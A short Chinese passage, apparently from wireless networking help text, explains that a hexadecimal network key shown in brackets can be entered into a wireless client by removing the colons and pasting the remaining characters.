请注意,按键的显示方式与预期不同。方括号中键旁边的字符是十六进制的密钥。如果在提示您与网络关联时删除冒号,然后将其余字符粘贴到无线客户端,则该功能仍然有效。